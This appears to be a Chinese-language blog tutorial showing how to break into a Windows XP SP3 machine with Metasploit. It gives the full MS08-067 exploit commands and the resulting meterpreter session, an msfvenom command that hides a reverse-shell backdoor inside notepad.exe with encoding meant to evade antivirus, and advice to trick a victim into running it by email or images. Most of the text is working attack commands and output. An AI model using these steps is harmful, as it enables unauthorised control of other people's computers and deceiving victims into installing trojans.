標籤:asp 記事本 控制 漏洞 技術 資訊 options started ted
我使用Kali Linux的IP地址是192.168.0.112;在同一區域網路內有一台運行Windows XP(192.168.0.108)的測試電腦。
本文示範怎麼使用Metasploit入侵windows xp sp3。
啟動msfconsole:
# msfconsole
選擇一個漏洞:
msf > search platform: windows xp sp3
exploit/windows/smb/ms08_067_netapi是08年發現的漏洞,等級Great。
查看某個漏洞的詳細資料;包含使用方法、支援的平台等等,非常有協助:
msf > info exploit/windows/smb/ms08_067_netapi
依次執行如下命令:
msf > use exploit/windows/smb/ms08_067_netapi> set payload windows/meterpreter/bind_tcp> set RHOST 192.168.0.108 (設定目標主機IP地址)> exploit
如果目標主機有這個漏洞的話,你就可以控制它了;如果沒有,嘗試使用其他漏洞。
[*] Started bind handler[*] Automatically detecting the target...[*] Fingerprint: Windows XP SP3 - Service Pack 3 - lang:Chinese[*] Selected Target: Windows XP SP3 Chinese (AlwaysOn NK)[*] Attempting to trigger the vulnerability...[*] Sending stage (751104 bytes) to 192.168.0.108[*] Meterpreter session 1 opened (192.168.0.1:41614 -> 192.168.0.108:4444) at 2016-04-15 17:29:32meterpreter >
現在你就可以控制目標主機了,可以截屏、錄音、視頻、下載檔案、殺進程等等;使用help查看可以執行的命令。
示範使用後門程式侵入Windows
原理:在Kali Linux上產生後門程式,然後把它發送給受害者,欺騙受害者運行(使用郵件、圖片等等)。痛點是需要過殺毒軟體和防火牆。
產生後門程式:
我把後門程式隱藏到記事本程式中:notepad.exe
查看Kali Linux的IP:ifconfig(192.168.0.112)
建立後門程式,my_backdoor.exe:
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.112 LPORT=4445 -x NOTEPAD.EXE -e x86/jmp_call_additive -i 4 -k -f exe > my_backdoor.exe
上面命令使用加密試圖躲過殺毒軟體,但是,不要期望它可以生效。使用man msfvenom查看協助。
把它發送到Windows系統,並運行;如果不能運行換用其他加密方式。
啟動msfconsole:
# msfconsole
use exploit/multi/handlerset LHOST 192.168.0.112set LPORT 4445set payload windows/meterpreter/reverse_tcpshow optionsexploit
等待受害者啟動後門程式。
OK,入侵成功。
示範使用Metasploit入侵Windows